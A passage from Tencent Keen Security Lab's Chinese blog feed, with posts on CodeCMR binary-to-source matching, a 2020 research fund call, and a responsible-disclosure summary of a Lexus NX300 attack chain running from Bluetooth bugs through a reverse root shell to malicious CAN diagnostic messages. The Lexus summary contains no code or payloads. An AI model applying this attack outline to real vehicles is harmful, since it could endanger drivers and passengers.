href="/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/">利用图神经网络解决二进制程序函数相似性分析问题的技术</a>得到了广泛关注。在此基础上，本次研究方向扩展到二进制代码与源代码的交叉领域，进一步实现腾讯安全科恩实验室在AI+安全新兴方向中的全新探索与突破。<br>二进制代码-源代码匹配是信息安全领域的重点研究方向之一。在给定二进制代码的情况下，逆向分析研究人员希望找到它对应的源代码，从而提升逆向分析的效率和准确率。但由于源代码和二进制代码的差异性，在此领域的研究较少。B2SFinder[1]和BinPro[2]等传统算法提取源代码和二进制代码的字符串、立即数等特征进行匹配。然而，函数级别的源代码与二进制代码的特征非常少，匹配准确率不高。另一方面，设计合适的特征需要大量的专家经验。<br>图1展示了一个函数的源代码与二进制代码。从图1中可以看出，除了字符串和立即数特征，代码中隐藏的语义特征也很关键。因此，本文希望设计一种端到端模型，可以自动提取代码间的语义特征，从而提升匹配的准确率。</p><p><img src="/zh/img/neurips-2020-cameraready/1.png" alt="图1 二进制代码与对应的源代码"></p><h2 id="模型"><a href="#模型" class="headerlink" title="模型"></a>模型</h2><p>这是一个二进制代码-源代码间的检索任务，我们把两种代码当作两个模态的输入，即可类比到图文互搜等跨模态检索场景。因此，我们设计了如图2所示的CodeCMR框架，在跨模态检索领域中，这是一种比较常见的结构[3, 4]。在计算最终向量之前，两个模态之间没有信息传递，因此在实际应用时可以预先计算向量，可以节省大量的线上计算时间以及存储空间。</p><p><img src="/zh/img/neurips-2020-cameraready/2.png" alt="图2 CodeCMR整体框架"></p><h3 id="整体结构"><a href="#整体结构" class="headerlink" title="整体结构"></a>整体结构</h3><p>模型的输入有源代码特征和二进制代码特征两个部分。其中源代码特征是字符级别的源代码、从源代码中提取的字符串和立即数；二进制代码特征是控制流图、二进制代码的字符串和立即数。首先将三个输入（语义特征、字符串特征、立即数特征）分别用不同模型计算得到向量，再用拼接+BatchNorm的方式得到代码向量，最后用triplet loss[5]作为损失函数。</p><p><img src="/zh/img/neurips-2020-cameraready/triplet-loss.png"></p><p>在这个基础框架上，有许多可以改进的创新点，例如使用预训练模型做语义融合、使用adversarial loss对齐向量等，对此我们将在后文讨论。</p><p><img src="/zh/img/neurips-2020-cameraready/3.png" alt="图3 源代码与二进制代码的语义模型"></p><h3 id="语义模型"><a href="#语义模型" class="headerlink" title="语义模型"></a>语义模型</h3><p>如图3所示，对于字符级源代码，我们使用的是DPCNN模型[6]；对于二进制控制流图，我们使用的是端到端的GNN模型。在函数级别，字符级源代码的输入通常在4096以上，DPCNN的效果远优于TextCNN和LSTM。对于控制流图，我们没有使用BERT预训练的node embedding作为输入[7]，而是采用了端到端训练的方式，取得了更好的效果。<br>在这个阶段，本文使用的是DPCNN和GNN，但ASTNN等树模型也同样值得尝试。由于输入是函数级别的代码，缺少#define、#include等重要信息，需要设计合适的编译工具将源代码转化为AST。相比之下，我们直接将文本作为输入的优点是无需额外的专家经验，健壮性强。</p><h3 id="立即数、字符串模型"><a href="#立即数、字符串模型" class="headerlink" title="立即数、字符串模型"></a>立即数、字符串模型</h3><p>对于源代码与二进制代码的立即数和字符串，我们同样设计了模型进行匹配。</p><p><img src="/zh/img/neurips-2020-cameraready/integer-lstm.png"></p><p>对于立即数，我们设计了一种Integer-LSTM。它的输入有integer token和integer number两个。integer number作用在LSTM的输入门和输出门，从而控制信息流动。<br>对于字符串，我们使用的是层次模型，先用LSTM模型得到每个字符串的向量，再使用sum pooling的方法得到字符串集合的向量。</p><h3 id="Norm-weighted-sampling"><a href="#Norm-weighted-sampling" class="headerlink" title="Norm weighted sampling"></a>Norm weighted sampling</h3><p>在得到源代码与二进制代码的向量后，我们设计了一种采样方法。在metric learning领域中，损失函数和采样方法是十分重要的两个模块。为了解决hard样本在训练早期收敛到局部极小值的问题，[5]提出了semi-hard采样方法。然而，[8]指出这种采样方法可能会在某个时间段停止训练，从而提出了distance weighted sampling采样方法解决这个问题：</p><p><img src="/zh/img/neurips-2020-cameraready/sampling-1.png"></p><p>distance weighted sampling可以在分布中选择各个概率的样本，而semi-hard、hard、uniform等采样方法只能选择特定分布的样本。在此基础上，本文提出了一个改进，即增加一个超参数s，帮助调整概率的分布，从而适应不同的任务和数据集。</p><p><img src="/zh/img/neurips-2020-cameraready/sampling-2.png"></p><h2 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h2><h3 id="数据集与评测指标"><a href="#数据集与评测指标" class="headerlink" title="数据集与评测指标"></a>数据集与评测指标</h3><p>本文分别用gcc-x64-O0和clang-arm-O3作为两种组合方式，制作了两个30000&#x2F;10000&#x2F;10000的训练&#x2F;验证&#x2F;测试集，并使用recall@1和recall@10作为评测指标。数据集已公开在<a href="https://github.com/binaryai%E3%80%82">https://github.com/binaryai。</a></p><p><img src="/zh/img/neurips-2020-cameraready/table1.png" alt="表1 实验结果"></p><h3 id="实验结果"><a href="#实验结果" class="headerlink" title="实验结果"></a>实验结果</h3><p>如表1所示，本文提出的方法与传统方法相比有巨大提升，这一发现符合我们的预期，说明代码间隐含的语义特征十分重要。在语义模型中，DPCNN+HBMP取得了最优的效果，说明在二进制侧端到端训练优于预训练的node embedding。与随机采样和distance weighted采样方法相比，norm weighted采样效果更好。图4的train&#x2F;valid loss曲线也证明了这一点，当s&#x3D;5时norm weighted sampling的train loss更高但valid loss更低，这表示采样到更合适的样例pair。</p><p><img src="/zh/img/neurips-2020-cameraready/4.png" alt="图4 训练与验证的损失函数曲线"></p><h2 id="讨论与总结"><a href="#讨论与总结" class="headerlink" title="讨论与总结"></a>讨论与总结</h2><h3 id="讨论"><a href="#讨论" class="headerlink" title="讨论"></a>讨论</h3><p>基于CodeCMR框架，有很多值得尝试的创新。</p><ol><li>code encoder。ASTNN、Tree-LSTM、transformer等模型可能也同样有效；</li><li>其它损失函数和采样方法，如AM-softmax、Circle loss等；</li><li>对抗训练以及其它的跨模态检索领域的方法；</li><li>预训练算法。在获得最终向量前两个模态没有信息融合，因此在两个模态分别单独预训练或用跨语言模型的方法融合训练，均是值得尝试的。</li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>本文针对二进制代码-源代码匹配任务提出了CodeCMR框架，成功地利用了源代码与二进制代码间的语义特征。与传统方法相比，取得了很大的突破。</p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p>[1] Yuan Z, Feng M, Li F, et al. B2SFinder: Detecting Open-Source Software Reuse in COTS Software[C]&#x2F;&#x2F;2019 34th IEEE&#x2F;ACM International Conference on Automated Software Engineering (ASE). IEEE, 2019: 1038-1049.<br>[2] Miyani D, Huang Z, Lie D. Binpro: A tool for binary source code provenance[J]. arXiv preprint arXiv:1711.00830, 2017.<br>[3] Wang H, Sahoo D, Liu C, et al. Learning cross-modal embeddings with adversarial networks for cooking recipes and food images[C]&#x2F;&#x2F;Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition. 2019: 11572-11581.<br>[4] Wang B, Yang Y, Xu X, et al. Adversarial cross-modal retrieval[C]&#x2F;&#x2F;Proceedings of the 25th ACM international conference on Multimedia. 2017: 154-162.<br>[5] Schroff F, Kalenichenko D, Philbin J. Facenet: A unified embedding for face recognition and clustering[C]&#x2F;&#x2F;Proceedings of the IEEE conference on computer vision and pattern recognition. 2015: 815-823.<br>[6] Johnson R, Zhang T. Deep pyramid convolutional neural networks for text categorization[C]&#x2F;&#x2F;Proceedings of the 55th Annual Meeting of the Association for Computational Linguistics. 2017: 562-570.<br>[7] Yu Z, Cao R, Tang Q, et al. Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection[C]&#x2F;&#x2F;Proceedings of the AAAI Conference on Artificial Intelligence. 2020, 34(01): 1145-1152.<br>[8] Wu C Y, Manmatha R, Smola A J, et al. Sampling matters in deep embedding learning[C]&#x2F;&#x2F;Proceedings of the IEEE International Conference on Computer Vision. 2017: 2840-2848.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/neurips-2020-cameraready/head.png&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="https://keenlab.tencent.com/zh/tags/CarHacking/"/>
    
    <category term="AI" scheme="https://keenlab.tencent.com/zh/tags/AI/"/>
    
    <category term="CodeCMR" scheme="https://keenlab.tencent.com/zh/tags/CodeCMR/"/>
    
  </entry>
  
  <entry>
    <title>2020年CCF-腾讯犀牛鸟基金申请启动：“深度学习在软件安全领域的应用研究”课题</title>
    <link href="https://keenlab.tencent.com/zh/2020/05/19/Tencent-Keen-Security-Lab-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/"/>
    <id>https://keenlab.tencent.com/zh/2020/05/19/Tencent-Keen-Security-Lab-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/</id>
    <published>2020-05-19T08:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/Tencent-Keen-Security-Lab-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/focus_pic.png"></p><p>CCF-腾讯犀牛鸟基金（以下简称犀牛鸟基金）于2013年由腾讯公司和中国计算机学会（CCF）共同发起，致力于面向海内外青年学者搭建产学研合作及学术交流的平台。</p><p>8年来，犀牛鸟基金为全球范围内最具创新力的青年学者提供了解产业真实问题，接触业务实际需求的机会，并通过连接青年学者与企业研发团队的产学科研合作，推动双方学术影响力的提升及研究成果的应用落地，为自主研发技术的探索和创新储备能量。</p><span id="more"></span><h2 id="科恩AI能力建设"><a href="#科恩AI能力建设" class="headerlink" title="科恩AI能力建设"></a>科恩AI能力建设</h2><p>自2018年起，腾讯安全科恩实验室积极布局人工智能安全研究，并在”安全+AI”交叉领域结合应用场景研究探索。2019年3月，科恩实验室发表“特斯拉Autopilot的实验性安全研究”[1]，即利用AI领域的对抗样本生成算法，精准误导特斯拉Autopilot的图像识别深度学习算法，成为首个实现对抗商用自动驾驶系统图像识别功能的研究案例。</p><p>科恩在研究AI算法自身安全性方向获得突破性成果的基础上，也积极探索如何将AI算法应用到传统安全研究当中。科恩此前发布的论文《Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection》[2]，核心为利用AI算法解决大规模二进制程序函数相似性分析的问题。此论文作为国内该领域最新研究成果被人工智能顶级学术会议AAAI-20会议收录。</p><p>在AI安全研究与能力建设的方向上，科恩始终秉持开放合作的态度，通过各类研究合作项目与广大研究学者进行深入学习交流。2019年7月，科恩参与腾讯公司高校合作项目CCF-腾讯犀牛鸟基金，与香港科技大学就相关研究课题展开深入合作。</p><p>为进一步深耕深度学习与软件安全研究领域，在2020年CCF-腾讯犀牛鸟基金项目中，腾讯安全科恩实验室再次参与并开放“深度学习在软件安全领域的应用研究”课题方向申请。科恩期待与更多在“安全+AI”领域深入研究的高校青年教师合作，碰撞出利用AI算法解决安全实际场景问题的更多火花。</p><h2 id="“深度学习在软件安全领域的应用研究”课题"><a href="#“深度学习在软件安全领域的应用研究”课题" class="headerlink" title="“深度学习在软件安全领域的应用研究”课题"></a>“深度学习在软件安全领域的应用研究”课题</h2><p>本年度犀牛鸟基金继续以人工智能技术为主要研究方向，强调其在医疗健康、能源保障、材料研发、信息安全等民生领域的技术融合与应用，并首次涉及多源信息融合、博弈论、密码学等领域前沿课题。</p><p>腾讯安全科恩实验室在本次犀牛鸟中启动“深度学习在软件安全领域的应用研究”课题方向申请，相关信息如下：</p><h3 id="深度学习在软件安全领域的应用研究"><a href="#深度学习在软件安全领域的应用研究" class="headerlink" title="深度学习在软件安全领域的应用研究"></a>深度学习在软件安全领域的应用研究</h3><p>随着软件复杂度的不断提升，大规模源代码和二进制软件的漏洞挖掘工作面临新的机遇和挑战。本研究项目希望把深度学习相关技术(例如自然语言处理、图神经网络、深度强化学习等)应用于软件安全研究中，其成果可以对传统的逆向工程、模糊测试、漏洞挖掘等有较大促进。</p><h3 id="建议研究方向"><a href="#建议研究方向" class="headerlink" title="建议研究方向"></a>建议研究方向</h3><ul><li>计算机语言的表征和分类研究，例如识别二进制软件对应的编译器、编译优化选项、第三方库、开发作者等信息；</li><li>计算机语言的自动生成和翻译技术研究，例如自动生成用于编译器(解释器)模糊测试的符合语法结构的程序代码；</li><li>用机器翻译技术实现二进制和源代码之间的相互翻译工作；</li><li>面向复杂交互程序的智能分析方法研究，例如研究代码相似性分析、演化API的误用检测、基于程序内状态机的符号执行、用户界面和运行时事件等复杂输入驱动的软件测试方法。</li></ul><h2 id="申报条件"><a href="#申报条件" class="headerlink" title="申报条件"></a>申报条件</h2><p>本基金将面向符合如下条件的海内外高校及科研院所青年学者展开：</p><ul><li>男性申请者是1984年1月1日（含），女性申请者是1979年1月1日（含）之后出生的高校&#x2F;科研院所在职的全职教师或研究人员；</li><li>硕士&#x2F;博士毕业后在高校&#x2F;科研院所累计任职时间，男性不超过5年，女性不超过10年；</li><li>能独立进行研究工作，并带领学生团队共同参与课题研究与实践。</li></ul><h2 id="申报方式"><a href="#申报方式" class="headerlink" title="申报方式"></a>申报方式</h2><p><strong>申报截止时间：</strong>2020年6月15日24:00（北京时间）<br><strong>申报方式：</strong>点击<a href="https://withzz.com/project/detail/73">2020年CCF-腾讯犀牛鸟基金介绍主页</a>查看《2020年CCF-腾讯犀牛鸟基金项目申报指南》，填写并上传《申报表》提交申请。<br><strong>注意事项：</strong></p><ul><li>每位申请人限提交一份申请，已获得上一年度科研基金资助的项目负责人需隔一年再提交申请。</li><li>申请人在申报前需确认所在高校&#x2F;科研院所可以作为项目依托单位签署科研合作协议，申请人本人可以作为项目负责人签署项目保密协议等相关承诺文件。</li></ul><p>更多申报主题信息请关注<a href="https://ur.tencent.com/">腾讯高校合作官方网站</a>。任何针对项目申报的问题，请联系基金项目负责人邸欣晨，电子邮箱：<a href="mailto:&#120;&#105;&#x6e;&#x63;&#x68;&#101;&#110;&#x64;&#x69;&#x40;&#x74;&#101;&#110;&#99;&#x65;&#x6e;&#x74;&#46;&#99;&#x6f;&#x6d;">&#120;&#105;&#x6e;&#x63;&#x68;&#101;&#110;&#x64;&#x69;&#x40;&#x74;&#101;&#110;&#99;&#x65;&#x6e;&#x74;&#46;&#99;&#x6f;&#x6d;</a>。</p><p>欢迎广大青年学者关注并申报本年度犀牛鸟基金。</p><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><p>[1] <a href="https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/">https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/</a><br>[2] <a href="https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/">https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/Tencent-Keen-Security-Lab-CCF-Tencent-Rhino-Bird-Young-Faculty-Open-Research-Fund/focus_pic.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;CCF-腾讯犀牛鸟基金（以下简称犀牛鸟基金）于2013年由腾讯公司和中国计算机学会（CCF）共同发起，致力于面向海内外青年学者搭建产学研合作及学术交流的平台。&lt;/p&gt;
&lt;p&gt;8年来，犀牛鸟基金为全球范围内最具创新力的青年学者提供了解产业真实问题，接触业务实际需求的机会，并通过连接青年学者与企业研发团队的产学科研合作，推动双方学术影响力的提升及研究成果的应用落地，为自主研发技术的探索和创新储备能量。&lt;/p&gt;</summary>
    
    
    
    
    <category term="AI" scheme="https://keenlab.tencent.com/zh/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>腾讯科恩实验室：雷克萨斯汽车安全研究综述报告</title>
    <link href="https://keenlab.tencent.com/zh/2020/03/30/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/"/>
    <id>https://keenlab.tencent.com/zh/2020/03/30/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/</id>
    <published>2020-03-30T01:55:00.000Z</published>
    <updated>2025-12-08T11:23:11.843Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/focus_pic.png"></p><p>雷克萨斯从2017年开始已经为多款车型(包括NX、LS、ES等系列)配备新一代的信息娱乐系统，也被称为AVN视听导航设备。与一些智能网联车载系统相比，如特斯拉中控系统和宝马ConnectedDrive系统，雷克萨斯AVN系统会显得更加传统一些。从安全的角度来看，它能够很大程度上降低被潜在的网络安全问题攻击的可能性。但是一个新的系统往往会带来新的安全风险。科恩实验室[1]对2017款雷克萨斯NX300车型进行安全研究后，在该车型的蓝牙和车辆诊断功能上发现了一系列安全问题，并能够危及到AVN系统、车内CAN网络和相关车载电子控制单元(ECU)的安全性。通过结合利用这些安全问题，科恩实验室能够在无需任何用户交互的情况下，通过无线方式破解并控制汽车的AVN系统，将恶意CAN指令发送到车内CAN网络，从而实现对存在漏洞的车辆执行一些非预期的物理操作。<br>目前，丰田公司正在推进车辆安全问题修复的解决方案。因此本次报告内容只对研究成果做简要分析，而不是全面的细节披露。如果一切顺利的话，我们将在2021年某个适当的时间点发布完整的漏洞技术报告。</p><span id="more"></span><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/Replaced_Logo_4M.gif"></p><h2 id="车载部件概述"><a href="#车载部件概述" class="headerlink" title="车载部件概述"></a>车载部件概述</h2><p>基于对2017款雷克萨斯NX300车辆的硬件分析和CAN网络测试，汽车内部的基本架构如下图所示(涉及到AVN、DCM数据通信模块、电子控制单元和CAN网络等)。 </p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/1.png" alt="图1. 车载部件架构"></p><h3 id="DCM数据通信模块"><a href="#DCM数据通信模块" class="headerlink" title="DCM数据通信模块"></a>DCM数据通信模块</h3><p>DCM是一个运行在高通MDM6600基带芯片上的远程信息处理设备，又称为T-Box。它可以通过USB以太网接口为AVN设备提供3G网络来支持远程信息服务。DCM还可以通过CAN总线查询ECU (比如汽车引擎和车门) 的状态信息，并将查询结果上传到云端后台。</p><h3 id="AVN-视听导航设备"><a href="#AVN-视听导航设备" class="headerlink" title="AVN 视听导航设备"></a>AVN 视听导航设备</h3><p>作为车载信息娱乐系统，雷克萨斯AVN设备主要为用户提供无线电广播、多媒体和导航功能。实际上，它由两部分组成：DCU显示控制单元和MEU地图多媒体扩展单元。DCU是AVN单元的关键部件，DCU的主电路板模块暴露了一些常见的攻击面，如Wi-Fi，蓝牙和USB接口。通过DCU uCOM电路板模块，DCU系统能给通过CAN消息与汽车内部ECU进行间接通信。MEU地图多媒体扩展单元功能非常透明，它只负责提供地图导航数据。在DCU和MEU之间，还连接了USB以太网线用于消息通信。</p><h3 id="DCU-主电路板模块"><a href="#DCU-主电路板模块" class="headerlink" title="DCU 主电路板模块"></a>DCU 主电路板模块</h3><p>通过拆解DCU硬件，我们发现它主要包含两个电路板模块。如下图所示，根据电路板位置，顶层为DCU主电路板模块，底层为DCU uCOM电路板模块。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/2.png" alt="图2. AVN内部的DCU电路板模块"></p><p>DCU主电路板模块集成了一些常规芯片，包括瑞萨R8A779x SoC芯片[2]， 博通BCM4339 Wi-Fi蓝牙芯片，2块512MB的SDRAM内存芯片，1块8GB的eMMC NAND Flash储存器和1块8MB的SPI NOR Flash储存器。SoC芯片拥有两个ARM-CortexA15核，用于运行各种代码，包括芯片启动代码(bootrom)、NOR Flash中的U-Boot固件代码以及eMMC Flash中的Linux系统。<br>在DCU主板背面有一块独立的SPI NOR Flash储存芯片。根据芯片的数据手册，该存储器总容量为64M-bits。将存储芯片的引脚焊接到通用存储芯片编程器后，并在flashrom软件[3]中选择对应的芯片型号，可以将SPI储存芯片中的所有数据提取出来。通过对提取的数据进行逆向工程后，基本上可以推测出如下图所示的数据存储布局。由于为了支持A&#x2F;B系统备份更新，Flash存储器中还保存一部分固件镜像和配置数据的副本，比如U-Boot config配置数据、U-Boot Image镜像和BSP Boot config启动配置数据。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/3.png" alt="图3. SPI NOR Flash储存布局 (8MB)"></p><p>DCU主板还集成了一块8GB的eMMC NAND Flash芯片用来存储AVN单元的主要代码和数据，包括Linux内核镜像、设备树数据、ramdisk镜像和Ext4文件系统。同时为了实现AVN系统的快速引导启动，Flash中也保存了一份Linux系统的快照镜像。而为了支持A&#x2F;B系统更新， Flash中还需要储存Linux内核镜像和ramdisk镜像的副本。整个eMMC Flash的存储布局如下图所示。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/4.png" alt="图4. eMMC NAND Flash储存布局 (8GB)"></p><h3 id="DCU-uCOM电路板模块"><a href="#DCU-uCOM电路板模块" class="headerlink" title="DCU uCOM电路板模块"></a>DCU uCOM电路板模块</h3><p>TDCU uCOM电路板模块的用途是管理电源和一些外部设备，如DVD播放器、空调、触控板和电子时钟。而为了与这些外部设备通信，uCOM电路板上配备了两个CAN总线微控制器(SYSuCOM与CANuCOM)，每个微控制器都和uCOM电路板上独立的CAN总线收发器进行连接。<br><strong>CANuCOM</strong>是DCU显示控制单元中的一个CAN总线控制器。它使用的是瑞萨R5F10PLJL芯片(如图5所示)，通过连接一个CAN总线收发器，CANuCOM可以直接访问汽车的娱乐CAN总线，并且能给与一些车载ECU(如网关和Main Body ECU)交换CAN消息。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/5.png" alt="图5. DCU uCOM电路板正面"></p><p><strong>SYSuCOM</strong>是一个基于松下MNZLF79WXWUB芯片的CAN总线控制器。通过CAN总线收发器，它可以和位于专用CAN网络域中的触控板和电子时钟进行CAN消息通信。SYSuCOM通过UART串口直接连接了CANuCOM和DCU主电路板，它能给为主电路板和外部设备完成不同类型的消息数据转换。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/6.png" alt="图6. DCU uCOM电路板背面"></p><h3 id="电子控制单元和CAN网络"><a href="#电子控制单元和CAN网络" class="headerlink" title="电子控制单元和CAN网络"></a>电子控制单元和CAN网络</h3><p>中央网关是一个重要的汽车ECU，它将车载CAN网络划分为不同的CAN域，包括娱乐CAN、车身CAN、OBD诊断CAN、底盘CAN和动力CAN等。另一个必不可少的ECU是Main Body ECU，也被称为车身控制模块（BCM）。Main Body ECU管理了一组用于处理车身相关功能的ECU。DCM模块和AVN属于娱乐CAN域。为了传输CAN消息，DCU uCOM电路板上设计了2个不同的CAN总线(即CAN-1和CAN-2)。通过uCOM模块，DCU主板模块可以向网关传输特定的CAN消息来查询车辆状态。<br><strong>CAN-1.</strong> CANuCOM 微控制器的CAN总线，它直接连接到车内的娱乐CAN总线。通过UART串口与SYSuCOM通信，CANuCOM可以往娱乐CAN总线间接传输来自DCU主板的CAN消息。<br><strong>CAN-2.</strong> SYSuCOM微控制器的CAN总线，它是一路专用CAN总线，用来连接DCU、触控板以及电子时钟等设备。该CAN总线与车载CAN网络在物理上是隔离的。<br>为了发送CAN消息，DCU主板模块与SYSuCOM建立了两路UART串口(&#x2F;dev&#x2F;ttySC1和&#x2F;dev&#x2F; ttysc9)。DCU系统可以将定制的CAN消息发送到&#x2F;dev&#x2F;ttySC1串口，这些消息会被中转到CAN-1总线。通过类似的方式，发送到&#x2F;dev&#x2F;ttySC9的消息会被转发到CAN-2总线。</p><h2 id="安全研究成果"><a href="#安全研究成果" class="headerlink" title="安全研究成果"></a>安全研究成果</h2><p>以下表中所有的安全研究发现在2017款雷克萨斯NX300车型上验证是有效的，并且在我们向丰田公司提交完整的技术报告及合作交流相应的技术细节之后，丰田也确认了这些安全问题。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/7.png" alt="表1. 2017款雷克萨斯 NX300 车型上的安全研究发现"></p><h3 id="无线破解DCU系统"><a href="#无线破解DCU系统" class="headerlink" title="无线破解DCU系统"></a>无线破解DCU系统</h3><p>我们利用车载蓝牙服务中的两个漏洞实现在DCU的Linux系统中以root权限远程执行代码。第一个是堆内存越界读漏洞，第二个是堆内存的缓冲区溢出漏洞。这两个漏洞都存在于建立蓝牙连接的过程中，并且是在蓝牙配对之前，这使得针对蓝牙漏洞的利用是完全无需用户接触和交互的。而为了获得受影响车辆的蓝牙MAC地址，如果DCU系统曾经与移动电话配对过，我们就可以用 “Ubertooth One”[4]设备进行无线嗅探到DCU系统 的MAC地址。<br>此外，DCU系统并不支持安全启动，这意味着整个系统可以被篡改，例如按照惯例替换掉系统启动动画。在完全控制DCU系统之后，我们发现想要任意发送CAN消息并不容易，因为在DCU uCOM模块中已经实现了CAN消息的过滤机制。但幸运的是，DCU的Linux系统是负责uCOM的固件升级。</p><h3 id="重构uCOM固件"><a href="#重构uCOM固件" class="headerlink" title="重构uCOM固件"></a>重构uCOM固件</h3><p>通过逆向uCOM固件及其固件更新逻辑，我们能够将一个恶意固件重新刷写到uCOM电路板模块中，以此来绕过CAN消息验证，从而可以实现向车辆娱乐CAN总线发送任意CAN消息。</p><h3 id="传输未授权诊断消息"><a href="#传输未授权诊断消息" class="headerlink" title="传输未授权诊断消息"></a>传输未授权诊断消息</h3><p>根据车载诊断系统的实验测试结果，我们确认了被破解后的DCU系统是被允许通过发送未经授权的诊断CAN消息来控制车辆的诊断功能。Main Body ECU会被恶意诊断从而造成汽车在缺乏认证的情况下执行物理操作。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/8.png" alt="图7. Main Body ECU"></p><h2 id="无线攻击链"><a href="#无线攻击链" class="headerlink" title="无线攻击链"></a>无线攻击链</h2><p>通过结合蓝牙和车载诊断功能中的安全发现(见表1)，我们可以实现如下图所示的从蓝牙无线到车内CAN网络的远程无接触式的攻击链。</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/9.png" alt="图8. 从蓝牙到CAN网络的无线攻击链"></p><p><strong>步骤-1.</strong> 因为车载蓝牙服务是以root权限运行在DCU系统中，一旦DCU系统被蓝牙漏洞攻击破解，恶意代码将会通过无线方式部署并永久驻留在系统中。<br><strong>步骤-2.</strong> 恶意代码可以设计成让被破解后的DCU系统自动连接到我们创建的Wi-Fi热点，并反弹一个远程可交互的系统root shell。<br><strong>步骤-3.</strong> 接着可以利用Wi-Fi网络下的root shell，通过 SYSuCOM和CANuCOM将任意的CAN消息传输到车内CAN总线。<br><strong>步骤-4.</strong> 此外通过利用CAN诊断消息，位于车内CAN网络的一些ECU会被欺骗执行诊断功能，从而使得汽车触发非预期的物理动作。</p><h2 id="漏洞披露流程"><a href="#漏洞披露流程" class="headerlink" title="漏洞披露流程"></a>漏洞披露流程</h2><p>雷克萨斯汽车安全研究是一项道德的安全研究项目。科恩实验室遵循了全球软件和互联网行业公认的负责任的漏洞披露原则，同丰田公司一起合作修复本报告中列出的安全漏洞和攻击链。</p><p>以下是详细的漏洞披露时间线:</p><p><img src="/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/10.png" alt="表2. 漏洞披露时间线"></p><h2 id="丰田官方回应"><a href="#丰田官方回应" class="headerlink" title="丰田官方回应"></a>丰田官方回应</h2><p>丰田对于此次研究的官方回复请参考如下链接：<br><a href="https://global.toyota/en/newsroom/corporate/32120629.html">https://global.toyota/en/newsroom/corporate/32120629.html</a></p><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><p>[1] <a href="https://keenlab.tencent.com/en/">https://keenlab.tencent.com/en/</a><br>[2] <a href="https://www.renesas.com/us/en/solutions/automotive/soc/r-car-m2.html">https://www.renesas.com/us/en/solutions/automotive/soc/r-car-m2.html</a><br>[3] <a href="https://www.flashrom.org/Flashrom">https://www.flashrom.org/Flashrom</a><br>[4] <a href="https://greatscottgadgets.com/ubertoothone/">https://greatscottgadgets.com/ubertoothone/</a><br>[5] <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5551">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5551</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/Tencent-Keen-Security-Lab-Experimental-Security-Assessment-on-Lexus-Cars/focus_pic.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;雷克萨斯从2017年开始已经为多款车型(包括NX、LS、ES等系列)配备新一代的信息娱乐系统，也被称为AVN视听导航设备。与一些智能网联车载系统相比，如特斯拉中控系统和宝马ConnectedDrive系统，雷克萨斯AVN系统会显得更加传统一些。从安全的角度来看，它能够很大程度上降低被潜在的网络安全问题攻击的可能性。但是一个新的系统往往会带来新的安全风险。科恩实验室[1]对2017款雷克萨斯NX300车型进行安全研究后，在该车型的蓝牙和车辆诊断功能上发现了一系列安全问题，并能够危及到AVN系统、车内CAN网络和相关车载电子控制单元(ECU)的安全性。通过结合利用这些安全问题，科恩实验室能够在无需任何用户交互的情况下，通过无线方式破解并控制汽车的AVN系统，将恶意CAN指令发送到车内CAN网络，从而实现对存在漏洞的车辆执行一些非预期的物理操作。&lt;br&gt;目前，丰田公司正在推进车辆安全问题修复的解决方案。因此本次报告内容只对研究成果做简要分析，而不是全面的细节披露。如果一切顺利的话，我们将在2021年某个适当的时间点发布完整的漏洞技术报告。&lt;/p&gt;</summary>
    
    
    
    
